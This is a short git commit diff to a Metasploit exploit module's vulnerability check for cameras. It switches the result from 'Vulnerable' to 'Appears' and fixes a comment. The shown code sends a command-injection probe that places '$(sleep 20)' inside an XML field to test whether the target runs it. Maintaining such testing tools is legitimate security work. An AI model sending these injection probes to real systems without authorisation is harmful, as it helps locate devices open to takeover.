Change CheckCode to Appears
This commit is contained in:
parent
9f05a7d11a
commit
2bec5c425f
|
@ -122,7 +122,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
return CheckCode::Safe('The target did not respond with a 200 OK or 500 error') unless (res.code == 200 || res.code == 500)
|
||||
|
||||
# Some cameras are not vulnerable and still respond 500. We can weed them out by making
|
||||
# the remote target sleep and use a low timeout. This might not be good for low latency targets
|
||||
# the remote target sleep and use a low timeout. This might not be good for high latency targets
|
||||
# or for people using Metasploit as a vulnerability scanner... but it's better than flagging all
|
||||
# 500 responses as vulnerable.
|
||||
payload = '<xml><language>$(sleep 20)</language></xml>'
|
||||
|
@ -132,7 +132,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'data' => payload
|
||||
}, 10)
|
||||
|
||||
return CheckCode::Vulnerable('It appears the target executed the provided sleep command.') unless res
|
||||
return CheckCode::Appears('It appears the target executed the provided sleep command.') unless res
|
||||
|
||||
CheckCode::Safe('The target did not execute the provided sleep command.')
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue